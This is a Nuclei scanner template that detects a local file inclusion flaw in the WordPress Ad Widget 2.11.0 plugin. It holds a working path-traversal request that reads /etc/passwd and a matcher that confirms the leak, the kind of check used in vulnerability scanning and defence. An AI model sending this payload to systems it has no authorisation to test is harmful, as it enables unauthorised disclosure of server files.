id: ad-widget-lfi

info:
  name: WordPress Ad Widget 2.11.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    WordPress Ad Widget 2.11.0 is vulnerable to local file inclusion. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.
  reference:
    - https://cxsecurity.com/issue/WLB-2017100084
    - https://plugins.trac.wordpress.org/changeset/1628751/ad-widget
    - https://wpscan.com/vulnerability/caca21fe-56bf-4d4c-afc8-4a218e52f0a2
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: wordpress,wp-plugin,lfi,wp,adWidget,wpscan

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/ad-widget/views/modal/?step=../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204da5bcc20b042b510fecd8c64c74e60fe2e6dba54065c4fbfd0997a9b509e663022100e7ff351defce68b347f6508a28e5919bcdc5dc2abb9e4bd24aeefbeb340a3077:922c64590222798bb761d5b6d8e72950